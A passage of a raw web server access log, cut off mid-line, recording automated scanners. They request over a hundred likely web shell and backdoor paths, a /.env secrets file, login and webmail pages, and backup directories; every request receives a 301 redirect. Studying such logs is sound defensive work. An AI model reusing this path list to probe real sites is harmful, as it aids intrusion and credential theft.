[12/Apr/2025:20:36:00 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:02 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:03 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:05 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:06 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:07 -0400] "GET /alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:08 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:10 -0400] "GET /wp-content/uploads/js_composer/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:10 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:11 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:12 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:13 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:13 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:13 -0400] "GET /.well-known/setup HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:14 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:14 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:15 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:15 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:16 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:17 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:18 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:19 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:21 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:21 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:22 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:24 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:25 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:25 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:26 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:27 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:27 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:28 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:29 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:30 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:30 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:30 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:31 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:32 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:32 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:33 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:33 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:33 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:34 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:34 -0400] "GET /wp-content/plugins/placester/views/partials/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:34 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:35 -0400] "GET /restart.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:35 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:35 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:36 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:36 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:36 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:37 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:37 -0400] "GET /wp-includes/SimplePie/Cache/contents.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:37 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:38 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:38 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:38 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:39 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:40 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:42 -0400] "GET /Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:43 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:43 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:44 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:45 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:46 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:47 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:48 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:49 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:49 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:51 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:52 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:52 -0400] "GET /wp-content/plugins/upspy/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:53 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:54 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:55 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:55 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:56 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:56 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:36:58 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:00 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:01 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:01 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:02 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:02 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:03 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:03 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:03 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:04 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:04 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:05 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:05 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:06 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:06 -0400] "GET /.well-known/plugins/default HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:06 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:07 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:07 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:07 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:08 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:09 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:09 -0400] "GET /wp-admin/plugins/config HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:09 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:10 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:10 -0400] "GET /wp-includes/rest-api/ZVQCc/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:11 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:11 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:11 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:12 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:12 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:12 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:12 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:13 -0400] "GET /estudiante16/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:13 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:14 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:15 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:15 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:15 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:15 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:16 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:16 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:17 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:17 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:17 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:18 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:18 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:19 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:20 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:20 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:21 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:22 -0400] "GET /audio.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:23 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:23 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:24 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:24 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:24 -0400] "GET /endpoint.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:24 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:25 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:25 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:25 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:25 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:26 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:26 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:26 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:26 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:27 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:27 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:28 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:29 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:29 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:29 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:30 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:30 -0400] "GET /articles.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:31 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:32 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:33 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:34 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:34 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:35 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:35 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:36 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:36 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:36 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:36 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:37 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:37 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:37 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:37 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:38 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:38 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:38 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:37:39 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 136.0.141.213 - - [12/Apr/2025:20:39:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 136.0.141.213 - - [12/Apr/2025:20:40:05 -0400] "GET /mail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 136.0.141.213 - - [12/Apr/2025:20:40:19 -0400] "GET /webmail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 136.0.141.213 - - [12/Apr/2025:20:40:32 -0400] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 136.0.141.213 - - [12/Apr/2025:20:40:46 -0400] "GET /signin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 136.0.141.213 - - [12/Apr/2025:20:40:56 -0400] "GET /owa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 136.0.141.213 - - [12/Apr/2025:20:41:04 -0400] "GET /myaccount HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 136.0.141.213 - - [12/Apr/2025:20:41:18 -0400] "GET /account HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 52.48.53.137 - - [12/Apr/2025:20:52:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 194.38.23.16 - - [12/Apr/2025:20:57:56 -0400] "GET /sites/all/libraries/elfinder/elfinder.html HTTP/1.1" 301 795 "-" "ALittle Client" 142.132.199.153 - - [12/Apr/2025:21:17:43 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36" 43.157.202.235 - - [12/Apr/2025:21:20:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.22.177.222 - - [12/Apr/2025:22:02:02 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; VelenPublicWebCrawler/1.0; +https://velen.io)" 34.22.177.222 - - [12/Apr/2025:22:02:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; VelenPublicWebCrawler/1.0; +https://velen.io)" 85.203.44.221 - - [12/Apr/2025:22:27:07 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 103.77.107.199 - - [12/Apr/2025:23:33:50 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 151.242.63.101 - - [12/Apr/2025:23:34:25 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 58.49.233.126 - - [12/Apr/2025:23:38:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 205.210.31.35 - - [13/Apr/2025:00:03:02 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [13/Apr/2025:00:20:00 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:00:20:00 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:00:20:01 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:00:20:01 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:00:20:02 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:00:20:02 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:00:20:02 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:00:20:02 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:00:20:03 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:00:20:04 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:44:47 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 